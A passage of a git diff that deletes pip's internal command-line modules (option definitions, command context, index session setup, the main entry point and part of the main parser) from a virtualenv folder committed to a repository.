-            "or pylock.toml format. pylock.toml support is experimental. "
-            "This option can be used multiple times."
-        ),
-    )
-
-
-def requirements_from_scripts() -> Option:
-    return Option(
-        "--requirements-from-script",
-        action="append",
-        default=[],
-        dest="requirements_from_scripts",
-        metavar="file",
-        help="Install dependencies of the given script file "
-        "as defined by PEP 723 inline metadata. ",
-    )
-
-
-def editable() -> Option:
-    return Option(
-        "-e",
-        "--editable",
-        dest="editables",
-        action="append",
-        default=[],
-        metavar="path/url",
-        help=(
-            "Install a project in editable mode (i.e. setuptools "
-            '"develop mode") from a local project path or a VCS url.'
-        ),
-    )
-
-
-def _handle_src(option: Option, opt_str: str, value: str, parser: OptionParser) -> None:
-    value = os.path.abspath(value)
-    setattr(parser.values, option.dest, value)
-
-
-src: Callable[..., Option] = partial(
-    PipOption,
-    "--src",
-    "--source",
-    "--source-dir",
-    "--source-directory",
-    dest="src_dir",
-    type="path",
-    metavar="dir",
-    default=get_src_prefix(),
-    action="callback",
-    callback=_handle_src,
-    help="Directory to check out editable projects into. "
-    'The default in a virtualenv is "/src". '
-    'The default for global installs is "/src".',
-)
-
-
-def _get_format_control(values: Values, option: Option) -> Any:
-    """Get a format_control object."""
-    return getattr(values, option.dest)
-
-
-def _handle_no_binary(
-    option: Option, opt_str: str, value: str, parser: OptionParser
-) -> None:
-    existing = _get_format_control(parser.values, option)
-    FormatControl.handle_mutual_excludes(
-        value,
-        existing.no_binary,
-        existing.only_binary,
-    )
-
-
-def _handle_only_binary(
-    option: Option, opt_str: str, value: str, parser: OptionParser
-) -> None:
-    existing = _get_format_control(parser.values, option)
-    FormatControl.handle_mutual_excludes(
-        value,
-        existing.only_binary,
-        existing.no_binary,
-    )
-
-
-def no_binary() -> Option:
-    format_control = FormatControl(set(), set())
-    return Option(
-        "--no-binary",
-        dest="format_control",
-        action="callback",
-        callback=_handle_no_binary,
-        type="str",
-        default=format_control,
-        help="Do not download binary packages. Cached binary packages may still "
-        "be used. Can be supplied multiple times, and each time adds to "
-        "the existing value. Accepts either ':all:' to disable all binary "
-        "packages, ':none:' to empty the set (notice the colons), or one "
-        "or more package names with commas between them (no colons). "
-        "Note that some packages are tricky to compile and may fail to "
-        "install when this option is used on them.",
-    )
-
-
-def only_binary() -> Option:
-    format_control = FormatControl(set(), set())
-    return Option(
-        "--only-binary",
-        dest="format_control",
-        action="callback",
-        callback=_handle_only_binary,
-        type="str",
-        default=format_control,
-        help="Do not use source packages. Can be supplied multiple times, and "
-        'each time adds to the existing value. Accepts either ":all:" to '
-        'disable all source packages, ":none:" to empty the set, or one '
-        "or more package names with commas between them. Packages "
-        "without binary distributions will fail to install when this "
-        "option is used on them.",
-    )
-
-
-def _get_release_control(values: Values, option: Option) -> Any:
-    """Get a release_control object."""
-    return getattr(values, option.dest)
-
-
-def _handle_all_releases(
-    option: Option, opt_str: str, value: str, parser: OptionParser
-) -> None:
-    existing = _get_release_control(parser.values, option)
-    existing.handle_mutual_excludes(
-        value,
-        existing.all_releases,
-        existing.only_final,
-        "all_releases",
-    )
-
-
-def _handle_only_final(
-    option: Option, opt_str: str, value: str, parser: OptionParser
-) -> None:
-    existing = _get_release_control(parser.values, option)
-    existing.handle_mutual_excludes(
-        value,
-        existing.only_final,
-        existing.all_releases,
-        "only_final",
-    )
-
-
-def all_releases() -> Option:
-    release_control = ReleaseControl(set(), set())
-    return Option(
-        "--all-releases",
-        dest="release_control",
-        action="callback",
-        callback=_handle_all_releases,
-        type="str",
-        default=release_control,
-        help="Allow all release types (including pre-releases) for a package. "
-        "Can be supplied multiple times, and each time adds to the existing "
-        'value. Accepts either ":all:" to allow pre-releases for all '
-        'packages, ":none:" to empty the set (notice the colons), or one or '
-        "more package names with commas between them (no colons). Cannot be "
-        "used with --pre.",
-    )
-
-
-def only_final() -> Option:
-    release_control = ReleaseControl(set(), set())
-    return Option(
-        "--only-final",
-        dest="release_control",
-        action="callback",
-        callback=_handle_only_final,
-        type="str",
-        default=release_control,
-        help="Only allow final releases (no pre-releases) for a package. Can be "
-        "supplied multiple times, and each time adds to the existing value. "
-        'Accepts either ":all:" to disable pre-releases for all packages, '
-        '":none:" to empty the set, or one or more package names with commas '
-        "between them. Cannot be used with --pre.",
-    )
-
-
-def check_release_control_exclusive(options: Values) -> None:
-    """
-    Raise an error if --pre is used with --all-releases or --only-final,
-    and transform --pre into --all-releases :all: if used alone.
-    """
-    if not hasattr(options, "pre") or not options.pre:
-        return
-
-    release_control = options.release_control
-    if release_control.all_releases or release_control.only_final:
-        raise CommandError("--pre cannot be used with --all-releases or --only-final.")
-
-    # Transform --pre into --all-releases :all:
-    release_control.all_releases.add(":all:")
-
-
-platforms: Callable[..., Option] = partial(
-    Option,
-    "--platform",
-    dest="platforms",
-    metavar="platform",
-    action="append",
-    default=None,
-    help=(
-        "Only use wheels compatible with . Defaults to the "
-        "platform of the running system. Use this option multiple times to "
-        "specify multiple platforms supported by the target interpreter."
-    ),
-)
-
-
-# This was made a separate function for unit-testing purposes.
-def _convert_python_version(value: str) -> tuple[tuple[int, ...], str | None]:
-    """
-    Convert a version string like "3", "37", or "3.7.3" into a tuple of ints.
-
-    :return: A 2-tuple (version_info, error_msg), where `error_msg` is
-        non-None if and only if there was a parsing error.
-    """
-    if not value:
-        # The empty string is the same as not providing a value.
-        return (None, None)
-
-    parts = value.split(".")
-    if len(parts) > 3:
-        return ((), "at most three version parts are allowed")
-
-    if len(parts) == 1:
-        # Then we are in the case of "3" or "37".
-        value = parts[0]
-        if len(value) > 1:
-            parts = [value[0], value[1:]]
-
-    try:
-        version_info = tuple(int(part) for part in parts)
-    except ValueError:
-        return ((), "each version part must be an integer")
-
-    return (version_info, None)
-
-
-def _handle_python_version(
-    option: Option, opt_str: str, value: str, parser: OptionParser
-) -> None:
-    """
-    Handle a provided --python-version value.
-    """
-    version_info, error_msg = _convert_python_version(value)
-    if error_msg is not None:
-        msg = f"invalid --python-version value: {value!r}: {error_msg}"
-        raise_option_error(parser, option=option, msg=msg)
-
-    parser.values.python_version = version_info
-
-
-python_version: Callable[..., Option] = partial(
-    Option,
-    "--python-version",
-    dest="python_version",
-    metavar="python_version",
-    action="callback",
-    callback=_handle_python_version,
-    type="str",
-    default=None,
-    help=dedent("""\
-    The Python interpreter version to use for wheel and "Requires-Python"
-    compatibility checks. Defaults to a version derived from the running
-    interpreter. The version can be specified using up to three dot-separated
-    integers (e.g. "3" for 3.0.0, "3.7" for 3.7.0, or "3.7.3"). A major-minor
-    version can also be given as a string without dots (e.g. "37" for 3.7.0).
-    """),
-)
-
-
-implementation: Callable[..., Option] = partial(
-    Option,
-    "--implementation",
-    dest="implementation",
-    metavar="implementation",
-    default=None,
-    help=(
-        "Only use wheels compatible with Python "
-        "implementation , e.g. 'pp', 'jy', 'cp', "
-        " or 'ip'. If not specified, then the current "
-        "interpreter implementation is used.  Use 'py' to force "
-        "implementation-agnostic wheels."
-    ),
-)
-
-
-abis: Callable[..., Option] = partial(
-    Option,
-    "--abi",
-    dest="abis",
-    metavar="abi",
-    action="append",
-    default=None,
-    help=(
-        "Only use wheels compatible with Python abi , e.g. 'pypy_41'. "
-        "If not specified, then the current interpreter abi tag is used. "
-        "Use this option multiple times to specify multiple abis supported "
-        "by the target interpreter. Generally you will need to specify "
-        "--implementation, --platform, and --python-version when using this "
-        "option."
-    ),
-)
-
-
-def add_target_python_options(cmd_opts: OptionGroup) -> None:
-    cmd_opts.add_option(platforms())
-    cmd_opts.add_option(python_version())
-    cmd_opts.add_option(implementation())
-    cmd_opts.add_option(abis())
-
-
-def make_target_python(options: Values) -> TargetPython:
-    target_python = TargetPython(
-        platforms=options.platforms,
-        py_version_info=options.python_version,
-        abis=options.abis,
-        implementation=options.implementation,
-    )
-
-    return target_python
-
-
-def prefer_binary() -> Option:
-    return Option(
-        "--prefer-binary",
-        dest="prefer_binary",
-        action="store_true",
-        default=False,
-        help=(
-            "Prefer binary packages over source packages, even if the "
-            "source packages are newer."
-        ),
-    )
-
-
-cache_dir: Callable[..., Option] = partial(
-    PipOption,
-    "--cache-dir",
-    dest="cache_dir",
-    default=USER_CACHE_DIR,
-    metavar="dir",
-    type="path",
-    help="Store the cache data in .",
-)
-
-
-def _handle_no_cache_dir(
-    option: Option, opt: str, value: str, parser: OptionParser
-) -> None:
-    """
-    Process a value provided for the --no-cache-dir option.
-
-    This is an optparse.Option callback for the --no-cache-dir option.
-    """
-    # The value argument will be None if --no-cache-dir is passed via the
-    # command-line, since the option doesn't accept arguments.  However,
-    # the value can be non-None if the option is triggered e.g. by an
-    # environment variable, like PIP_NO_CACHE_DIR=true.
-    if value is not None:
-        # Then parse the string value to get argument error-checking.
-        try:
-            strtobool(value)
-        except ValueError as exc:
-            raise_option_error(parser, option=option, msg=str(exc))
-
-    # Originally, setting PIP_NO_CACHE_DIR to a value that strtobool()
-    # converted to 0 (like "false" or "no") caused cache_dir to be disabled
-    # rather than enabled (logic would say the latter).  Thus, we disable
-    # the cache directory not just on values that parse to True, but (for
-    # backwards compatibility reasons) also on values that parse to False.
-    # In other words, always set it to False if the option is provided in
-    # some (valid) form.
-    parser.values.cache_dir = False
-
-
-no_cache: Callable[..., Option] = partial(
-    Option,
-    "--no-cache-dir",
-    dest="cache_dir",
-    action="callback",
-    callback=_handle_no_cache_dir,
-    help="Disable the cache.",
-)
-
-no_deps: Callable[..., Option] = partial(
-    Option,
-    "--no-deps",
-    "--no-dependencies",
-    dest="ignore_dependencies",
-    action="store_true",
-    default=False,
-    help="Don't install package dependencies.",
-)
-
-
-def _handle_refresh_package(
-    option: Option, opt_str: str, value: str, parser: OptionParser
-) -> None:
-    if value.startswith("-"):
-        raise CommandError("--refresh-package option requires 1 argument.")
-
-    existing: set[str] = getattr(parser.values, option.dest)
-
-    new = value.split(",")
-    while ":all:" in new:
-        existing.clear()
-        existing.add(":all:")
-        del new[: new.index(":all:") + 1]
-        if ":none:" not in new:
-            return
-
-    for name in new:
-        if name == ":none:":
-            existing.clear()
-        else:
-            existing.add(canonicalize_name(name))
-
-
-def refresh_package() -> Option:
-    return Option(
-        "--refresh-package",
-        dest="refresh_package",
-        action="callback",
-        callback=_handle_refresh_package,
-        type="str",
-        default=set(),
-        help="Refresh package index information for the given packages instead "
-        "of using cached responses. Accepts ':all:' to apply "
-        "to all packages, or a comma-separated list of package names.",
-    )
-
-
-only_deps: Callable[..., Option] = partial(
-    Option,
-    "--only-deps",
-    "--only-dependencies",
-    dest="only_dependencies",
-    action="store_true",
-    default=False,
-    help=(
-        "Take only the dependencies of the provided requirements into account, "
-        "not the requirements themselves. Cannot be used in combination with "
-        "--no-deps, --group, --requirement, or --requirements-from-script. "
-        "No user-supplied requirements will be handled, even if they were "
-        "dependencies of other user-supplied requirements."
-    ),
-)
-
-
-def _handle_dependency_group(
-    option: Option, opt: str, value: str, parser: OptionParser
-) -> None:
-    """
-    Process a value provided for the --group option.
-
-    Splits on the rightmost ":", and validates that the path (if present) ends
-    in `pyproject.toml`. Defaults the path to `pyproject.toml` when one is not given.
-
-    `:` cannot appear in dependency group names, so this is a safe and simple parse.
-
-    This is an optparse.Option callback for the dependency_groups option.
-    """
-    path, sep, groupname = value.rpartition(":")
-    if not sep:
-        path = "pyproject.toml"
-    else:
-        # check for 'pyproject.toml' filenames using pathlib
-        if pathlib.PurePath(path).name != "pyproject.toml":
-            msg = "group paths use 'pyproject.toml' filenames"
-            raise_option_error(parser, option=option, msg=msg)
-
-    parser.values.dependency_groups.append((path, groupname))
-
-
-dependency_groups: Callable[..., Option] = partial(
-    Option,
-    "--group",
-    dest="dependency_groups",
-    default=[],
-    type=str,
-    action="callback",
-    callback=_handle_dependency_group,
-    metavar="[path:]group",
-    help='Install a named dependency-group from a "pyproject.toml" file. '
-    'If a path is given, the name of the file must be "pyproject.toml". '
-    'Defaults to using "pyproject.toml" in the current directory.',
-)
-
-ignore_requires_python: Callable[..., Option] = partial(
-    Option,
-    "--ignore-requires-python",
-    dest="ignore_requires_python",
-    action="store_true",
-    help="Ignore the Requires-Python information.",
-)
-
-
-no_build_isolation: Callable[..., Option] = partial(
-    Option,
-    "--no-build-isolation",
-    dest="build_isolation",
-    action="store_false",
-    default=True,
-    help="Disable isolation when building a modern source distribution. "
-    "Build dependencies specified by PEP 518 must be already installed "
-    "if this option is used.",
-)
-
-check_build_deps: Callable[..., Option] = partial(
-    Option,
-    "--check-build-dependencies",
-    dest="check_build_deps",
-    action="store_true",
-    default=False,
-    help="Check the build dependencies.",
-)
-
-
-use_pep517: Any = partial(
-    Option,
-    "--use-pep517",
-    dest="use_pep517",
-    action="store_true",
-    default=True,
-    help=SUPPRESS_HELP,
-)
-
-
-def _handle_config_settings(
-    option: Option, opt_str: str, value: str, parser: OptionParser
-) -> None:
-    key, sep, val = value.partition("=")
-    if sep != "=":
-        parser.error(f"Arguments to {opt_str} must be of the form KEY=VAL")
-    dest = getattr(parser.values, option.dest)
-    if dest is None:
-        dest = {}
-        setattr(parser.values, option.dest, dest)
-    if key in dest:
-        if isinstance(dest[key], list):
-            dest[key].append(val)
-        else:
-            dest[key] = [dest[key], val]
-    else:
-        dest[key] = val
-
-
-config_settings: Callable[..., Option] = partial(
-    Option,
-    "-C",
-    "--config-settings",
-    dest="config_settings",
-    type=str,
-    action="callback",
-    callback=_handle_config_settings,
-    metavar="settings",
-    help="Configuration settings to be passed to the build backend. "
-    "Settings take the form KEY=VALUE. Use multiple --config-settings options "
-    "to pass multiple keys to the backend.",
-)
-
-no_clean: Callable[..., Option] = partial(
-    Option,
-    "--no-clean",
-    action="store_true",
-    default=False,
-    help="Don't clean up build directories.",
-)
-
-pre: Callable[..., Option] = partial(
-    Option,
-    "--pre",
-    action="store_true",
-    default=False,
-    help="Include pre-release and development versions. By default, "
-    "pip only finds stable versions.",
-)
-
-json: Callable[..., Option] = partial(
-    Option,
-    "--json",
-    action="store_true",
-    default=False,
-    help="Output data in a machine-readable JSON format.",
-)
-
-disable_pip_version_check: Callable[..., Option] = partial(
-    Option,
-    "--disable-pip-version-check",
-    dest="disable_pip_version_check",
-    action="store_true",
-    default=False,
-    help="Don't periodically check PyPI to determine whether a new version "
-    "of pip is available for download. Implied with --no-index.",
-)
-
-root_user_action: Callable[..., Option] = partial(
-    Option,
-    "--root-user-action",
-    dest="root_user_action",
-    default="warn",
-    choices=["warn", "ignore"],
-    help="Action if pip is run as a root user [warn, ignore] (default: warn)",
-)
-
-
-def _handle_merge_hash(
-    option: Option, opt_str: str, value: str, parser: OptionParser
-) -> None:
-    """Given a value spelled "algo:digest", append the digest to a list
-    pointed to in a dict by the algo name."""
-    if not parser.values.hashes:
-        parser.values.hashes = {}
-    try:
-        algo, digest = value.split(":", 1)
-    except ValueError:
-        parser.error(
-            f"Arguments to {opt_str} must be a hash name "
-            "followed by a value, like --hash=sha256:"
-            "abcde..."
-        )
-    if algo not in STRONG_HASHES:
-        parser.error(
-            "Allowed hash algorithms for {} are {}.".format(
-                opt_str, ", ".join(STRONG_HASHES)
-            )
-        )
-    parser.values.hashes.setdefault(algo, []).append(digest)
-
-
-hash: Callable[..., Option] = partial(
-    Option,
-    "--hash",
-    # Hash values eventually end up in InstallRequirement.hashes due to
-    # __dict__ copying in process_line().
-    dest="hashes",
-    action="callback",
-    callback=_handle_merge_hash,
-    type="string",
-    help="Verify that the package's archive matches this "
-    "hash before installing. Example: --hash=sha256:abcdef...",
-)
-
-
-require_hashes: Callable[..., Option] = partial(
-    Option,
-    "--require-hashes",
-    dest="require_hashes",
-    action="store_true",
-    default=False,
-    help="Require a hash to check each requirement against, for "
-    "repeatable installs. This option is implied when any package in a "
-    "requirements file has a --hash option.",
-)
-
-
-no_require_hashes: Callable[..., Option] = partial(
-    Option,
-    "--no-require-hashes",
-    dest="no_require_hashes",
-    action="store_true",
-    default=False,
-    help="Do not automatically enable --require-hashes "
-    "when encountering a requirement with hashes.",
-)
-
-
-list_path: Callable[..., Option] = partial(
-    PipOption,
-    "--path",
-    dest="path",
-    type="path",
-    action="append",
-    help="Restrict to the specified installation path for listing "
-    "packages (can be used multiple times).",
-)
-
-
-def check_list_path_option(options: Values) -> None:
-    if options.path and (options.user or options.local):
-        raise CommandError("Cannot combine '--path' with '--user' or '--local'")
-
-
-list_exclude: Callable[..., Option] = partial(
-    PipOption,
-    "--exclude",
-    dest="excludes",
-    action="append",
-    metavar="package",
-    type="package_name",
-    help="Exclude specified package from the output",
-)
-
-
-no_python_version_warning: Callable[..., Option] = partial(
-    Option,
-    "--no-python-version-warning",
-    dest="no_python_version_warning",
-    action="store_true",
-    default=False,
-    help=SUPPRESS_HELP,  # No-op, a hold-over from the Python 2->3 transition.
-)
-
-
-# Features that are now always on. A warning is printed if they are used.
-ALWAYS_ENABLED_FEATURES = [
-    "truststore",  # always on since 24.2
-    "no-binary-enable-wheel-cache",  # always on since 23.1
-    "build-constraint",  # always on since 26.2
-]
-
-use_new_feature: Callable[..., Option] = partial(
-    Option,
-    "--use-feature",
-    dest="features_enabled",
-    metavar="feature",
-    action="append",
-    default=[],
-    choices=[
-        "fast-deps",
-        "inprocess-build-deps",
-        "venv-isolation",
-    ]
-    + ALWAYS_ENABLED_FEATURES,
-    help="Enable new functionality, that may be backward incompatible.",
-)
-
-use_deprecated_feature: Callable[..., Option] = partial(
-    Option,
-    "--use-deprecated",
-    dest="deprecated_features_enabled",
-    metavar="feature",
-    action="append",
-    default=[],
-    choices=[
-        "legacy-resolver",
-        "legacy-certs",
-    ],
-    help=("Enable deprecated functionality, that will be removed in the future."),
-)
-
-##########
-# groups #
-##########
-
-general_group: dict[str, Any] = {
-    "name": "General Options",
-    "options": [
-        help_,
-        debug_mode,
-        isolated_mode,
-        require_virtualenv,
-        python,
-        verbose,
-        version,
-        quiet,
-        log,
-        no_input,
-        keyring_provider,
-        proxy,
-        no_proxy_env,
-        retries,
-        timeout,
-        exists_action,
-        trusted_host,
-        cert,
-        client_cert,
-        cache_dir,
-        no_cache,
-        disable_pip_version_check,
-        no_color,
-        no_python_version_warning,
-        use_new_feature,
-        use_deprecated_feature,
-        resume_retries,
-    ],
-}
-
-index_group: dict[str, Any] = {
-    "name": "Package Index Options",
-    "options": [
-        index_url,
-        extra_index_url,
-        no_index,
-        refresh_package,
-        find_links,
-        uploaded_prior_to,
-    ],
-}
-
-package_selection_group: dict[str, Any] = {
-    "name": "Package Selection Options",
-    "options": [
-        pre,
-        all_releases,
-        only_final,
-        no_binary,
-        only_binary,
-        prefer_binary,
-    ],
-}
diff --git a/venv/Lib/site-packages/pip/_internal/cli/command_context.py b/venv/Lib/site-packages/pip/_internal/cli/command_context.py
deleted file mode 100644
index 9c167bdc339860dffba24040cf1e83e24b2fa089..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/cli/command_context.py
+++ /dev/null
@@ -1,28 +0,0 @@
-from collections.abc import Generator
-from contextlib import AbstractContextManager, ExitStack, contextmanager
-from typing import TypeVar
-
-_T = TypeVar("_T", covariant=True)
-
-
-class CommandContextMixIn:
-    def __init__(self) -> None:
-        super().__init__()
-        self._in_main_context = False
-        self._main_context = ExitStack()
-
-    @contextmanager
-    def main_context(self) -> Generator[None, None, None]:
-        assert not self._in_main_context
-
-        self._in_main_context = True
-        try:
-            with self._main_context:
-                yield
-        finally:
-            self._in_main_context = False
-
-    def enter_context(self, context_provider: AbstractContextManager[_T]) -> _T:
-        assert self._in_main_context
-
-        return self._main_context.enter_context(context_provider)
diff --git a/venv/Lib/site-packages/pip/_internal/cli/index_command.py b/venv/Lib/site-packages/pip/_internal/cli/index_command.py
deleted file mode 100644
index e1345ae43cc7de48a249c3034e02be64b6272d58..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/cli/index_command.py
+++ /dev/null
@@ -1,217 +0,0 @@
-"""
-Contains command classes which may interact with an index / the network.
-
-Unlike its sister module, req_command, this module still uses lazy imports
-so commands which don't always hit the network (e.g. list w/o --outdated or
---uptodate) don't need waste time importing PipSession and friends.
-"""
-
-from __future__ import annotations
-
-import contextlib
-import logging
-import os
-from collections.abc import Iterator
-from functools import lru_cache
-from optparse import Values
-from typing import TYPE_CHECKING
-
-from pip._vendor import certifi
-
-from pip._internal.cli.base_command import Command
-from pip._internal.cli.command_context import CommandContextMixIn
-
-if TYPE_CHECKING:
-    from ssl import SSLContext
-
-    from pip._vendor.packaging.utils import NormalizedName
-
-    from pip._internal.network.session import PipSession
-    from pip._internal.self_outdated_check import UpgradePrompt
-
-logger = logging.getLogger(__name__)
-
-
-@lru_cache
-def _create_truststore_ssl_context() -> SSLContext | None:
-    try:
-        import ssl
-    except ImportError:
-        logger.warning("Disabling truststore since ssl support is missing")
-        return None
-
-    try:
-        from pip._vendor import truststore
-    except ImportError:
-        logger.warning("Disabling truststore because platform isn't supported")
-        return None
-
-    ctx = truststore.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
-    ctx.load_verify_locations(certifi.where())
-    return ctx
-
-
-class SessionCommandMixin(CommandContextMixIn):
-    """
-    A class mixin for command classes needing _build_session().
-    """
-
-    def __init__(self) -> None:
-        super().__init__()
-        self._session: PipSession | None = None
-
-    @classmethod
-    def _get_index_urls(cls, options: Values) -> list[str] | None:
-        """Return a list of index urls from user-provided options."""
-        index_urls = []
-        if not getattr(options, "no_index", False):
-            url = getattr(options, "index_url", None)
-            if url:
-                index_urls.append(url)
-        urls = getattr(options, "extra_index_urls", None)
-        if urls:
-            index_urls.extend(urls)
-        # Return None rather than an empty list
-        return index_urls or None
-
-    def get_default_session(self, options: Values) -> PipSession:
-        """Get a default-managed session."""
-        if self._session is None:
-            self._session = self.enter_context(self._build_session(options))
-            # there's no type annotation on requests.Session, so it's
-            # automatically ContextManager[Any] and self._session becomes Any,
-            # then https://github.com/python/mypy/issues/7696 kicks in
-            assert self._session is not None
-        return self._session
-
-    def _build_session(
-        self,
-        options: Values,
-        retries: int | None = None,
-        timeout: int | None = None,
-    ) -> PipSession:
-        from pip._internal.network.session import PipSession
-
-        cache_dir = options.cache_dir
-        assert not cache_dir or os.path.isabs(cache_dir)
-
-        if "legacy-certs" not in options.deprecated_features_enabled:
-            ssl_context = _create_truststore_ssl_context()
-        else:
-            ssl_context = None
-
-        session = PipSession(
-            cache=os.path.join(cache_dir, "http-v2") if cache_dir else None,
-            retries=retries if retries is not None else options.retries,
-            resume_retries=options.resume_retries,
-            trusted_hosts=options.trusted_hosts,
-            index_urls=self._get_index_urls(options),
-            ssl_context=ssl_context,
-            refresh_package=getattr(options, "refresh_package", set()),
-        )
-
-        # Handle custom ca-bundles from the user
-        if options.cert:
-            session.verify = options.cert
-
-        # Handle SSL client certificate
-        if options.client_cert:
-            session.cert = options.client_cert
-
-        # Handle timeouts
-        if options.timeout or timeout:
-            session.timeout = timeout if timeout is not None else options.timeout
-
-        # An explicit --proxy (including "" to disable proxying) or --no-proxy-env
-        # makes the session ignore environment proxies; unset --proxy is None.
-        if options.proxy is not None or options.no_proxy_env:
-            if options.proxy:
-                session.proxies = {
-                    "http": options.proxy,
-                    "https": options.proxy,
-                }
-            session.trust_env = False
-            # Keep "" so an empty --proxy reaches build subprocesses.
-            session.pip_proxy = options.proxy
-            session.pip_no_proxy_env = options.no_proxy_env
-
-        # Determine if we can prompt the user for authentication or not
-        session.auth.prompting = not options.no_input
-        session.auth.keyring_provider = options.keyring_provider
-
-        return session
-
-
-def _pip_self_version_check_fetch(
-    session: PipSession, options: Values
-) -> UpgradePrompt | None:
-    from pip._internal.self_outdated_check import pip_self_version_check_fetch
-
-    return pip_self_version_check_fetch(session, options)
-
-
-def _pip_self_version_check_emit(upgrade_prompt: UpgradePrompt | None) -> None:
-    from pip._internal.self_outdated_check import pip_self_version_check_emit
-
-    pip_self_version_check_emit(upgrade_prompt)
-
-
-class IndexGroupCommand(Command, SessionCommandMixin):
-    """
-    Abstract base class for commands with the index_group options.
-
-    This also corresponds to the commands that permit the pip version check.
-    """
-
-    def should_exclude_prerelease(
-        self, options: Values, package_name: NormalizedName
-    ) -> bool:
-        """
-        Determine if pre-releases should be excluded for a package.
-        """
-        # Check per-package release control settings
-        if options.release_control:
-            allow_prereleases = options.release_control.allows_prereleases(package_name)
-            if allow_prereleases is True:
-                return False  # Include pre-releases
-            elif allow_prereleases is False:
-                return True  # Exclude pre-releases
-
-        # No specific setting: exclude prereleases by default
-        return True
-
-    @contextlib.contextmanager
-    def pip_version_check(self, options: Values, args: list[str]) -> Iterator[None]:
-        """
-        Do the pip version check if not disabled.
-
-        This overrides the default behavior of not doing the check.
-        """
-        # Make sure the index_group options are present.
-        assert hasattr(options, "no_index")
-
-        if options.disable_pip_version_check or options.no_index:
-            yield
-            return
-
-        upgrade_prompt: UpgradePrompt | None = None
-        try:
-            session = self._build_session(
-                options,
-                retries=0,
-                timeout=min(5, options.timeout),
-            )
-            with session:
-                upgrade_prompt = _pip_self_version_check_fetch(session, options)
-        except Exception:
-            logger.warning("There was an error checking the latest version of pip.")
-            logger.debug("See below for error", exc_info=True)
-
-        try:
-            yield
-        finally:
-            try:
-                _pip_self_version_check_emit(upgrade_prompt)
-            except Exception:
-                logger.warning("There was an error checking the latest version of pip.")
-                logger.debug("See below for error", exc_info=True)
diff --git a/venv/Lib/site-packages/pip/_internal/cli/main.py b/venv/Lib/site-packages/pip/_internal/cli/main.py
deleted file mode 100644
index 86ea4d58e16f6de51276471bb4e508fef0a8e845..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/cli/main.py
+++ /dev/null
@@ -1,86 +0,0 @@
-"""Primary application entrypoint."""
-
-from __future__ import annotations
-
-import locale
-import logging
-import os
-import sys
-import warnings
-
-logger = logging.getLogger(__name__)
-
-
-# Do not import and use main() directly! Using it directly is actively
-# discouraged by pip's maintainers. The name, location and behavior of
-# this function is subject to change, so calling it directly is not
-# portable across different pip versions.
-
-# In addition, running pip in-process is unsupported and unsafe. This is
-# elaborated in detail at
-# https://pip.pypa.io/en/stable/user_guide/#using-pip-from-your-program.
-# That document also provides suggestions that should work for nearly
-# all users that are considering importing and using main() directly.
-
-# However, we know that certain users will still want to invoke pip
-# in-process. If you understand and accept the implications of using pip
-# in an unsupported manner, the best approach is to use runpy to avoid
-# depending on the exact location of this entry point.
-
-# The following example shows how to use runpy to invoke pip in that
-# case:
-#
-#     sys.argv = ["pip", your, args, here]
-#     runpy.run_module("pip", run_name="__main__")
-#
-# Note that this will exit the process after running, unlike a direct
-# call to main. As it is not safe to do any processing after calling
-# main, this should not be an issue in practice.
-
-
-def main(args: list[str] | None = None) -> int:
-    # NOTE: Lazy imports to speed up import of this module,
-    # which is imported from the pip console script. This doesn't
-    # speed up normal pip execution, but might be important in the future
-    # if we use ``multiprocessing`` module,
-    # which imports __main__ for each spawned subprocess.
-    from pip._internal.cli.autocompletion import autocomplete
-    from pip._internal.cli.main_parser import parse_command
-    from pip._internal.commands import create_command
-    from pip._internal.exceptions import PipError
-    from pip._internal.utils import deprecation
-
-    if args is None:
-        args = sys.argv[1:]
-
-    # Suppress the pkg_resources deprecation warning
-    # Note - we use a module of .*pkg_resources to cover
-    # the normal case (pip._vendor.pkg_resources) and the
-    # devendored case (a bare pkg_resources)
-    warnings.filterwarnings(
-        action="ignore", category=DeprecationWarning, module=".*pkg_resources"
-    )
-
-    # Configure our deprecation warnings to be sent through loggers
-    deprecation.install_warning_logger()
-
-    autocomplete()
-
-    try:
-        cmd_name, cmd_args = parse_command(args)
-    except PipError as exc:
-        sys.stderr.write(f"ERROR: {exc}")
-        sys.stderr.write(os.linesep)
-        sys.exit(1)
-
-    # Needed for locale encoding detection to work
-    # in pip._internal.utils.encoding.auto_decode
-    # TODO: Re-evaluate whether this is still needed once pip drops Python 3.10.
-    try:
-        locale.setlocale(locale.LC_ALL, "")
-    except locale.Error as e:
-        # setlocale can apparently crash if locale are uninitialized
-        logger.debug("Ignoring error %s when setting locale", e)
-    command = create_command(cmd_name, isolated=("--isolated" in cmd_args))
-
-    return command.main(cmd_args)
diff --git a/venv/Lib/site-packages/pip/_internal/cli/main_parser.py b/venv/Lib/site-packages/pip/_internal/cli/main_parser.py
deleted file mode 100644
index 903c89112026f7cb686722e6a606215c52abf11c..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/cli/main_parser.py
+++ /dev/null
@@ -1,135 +0,0 @@
-"""A single place for constructing and exposing the main parser"""
-
-from __future__ import annotations
-
-import os
-import subprocess
-import sys
-
-from pip._vendor.rich.markup import escape
-
-from pip._internal.cli import cmdoptions
-from pip._internal.cli.parser import ConfigOptionParser, UpdatingDefaultsHelpFormatter
-from pip._internal.commands import commands_dict, get_similar_commands
-from pip._internal.exceptions import CommandError
-from pip._internal.utils.misc import get_pip_version, get_prog, get_runnable_pip
-
-__all__ = ["create_main_parser", "parse_command"]
-
-
-def create_main_parser() -> ConfigOptionParser:
-    """Creates and returns the main parser for pip's CLI"""
-
-    parser = ConfigOptionParser(
-        usage="\n%prog  [options]",
-        add_help_option=False,
-        formatter=UpdatingDefaultsHelpFormatter(),
-        name="global",
-        prog=get_prog(),
-    )
-    parser.disable_interspersed_args()
-
-    parser.version = get_pip_version()
-
-    # add the general options
-    gen_opts = cmdoptions.make_option_group(cmdoptions.general_group, parser)
-    parser.add_option_group(gen_opts)
-
-    # so the help formatter knows
-    parser.main = True  # type: ignore
-
-    # create command listing for description
-    description = [""] + [
-        f"[optparse.longargs]{name:27}[/] {escape(command_info.summary)}"
-        for name, command_info in commands_dict.items()
-    ]
-    parser.description = "\n".join(description)
-
-    return parser
-
-
-def identify_python_interpreter(python: str) -> str | None:
-    # If the named file exists, use it.
-    # If it's a directory, assume it's a virtual environment and
-    # look for the environment's Python executable.
-    if os.path.exists(python):
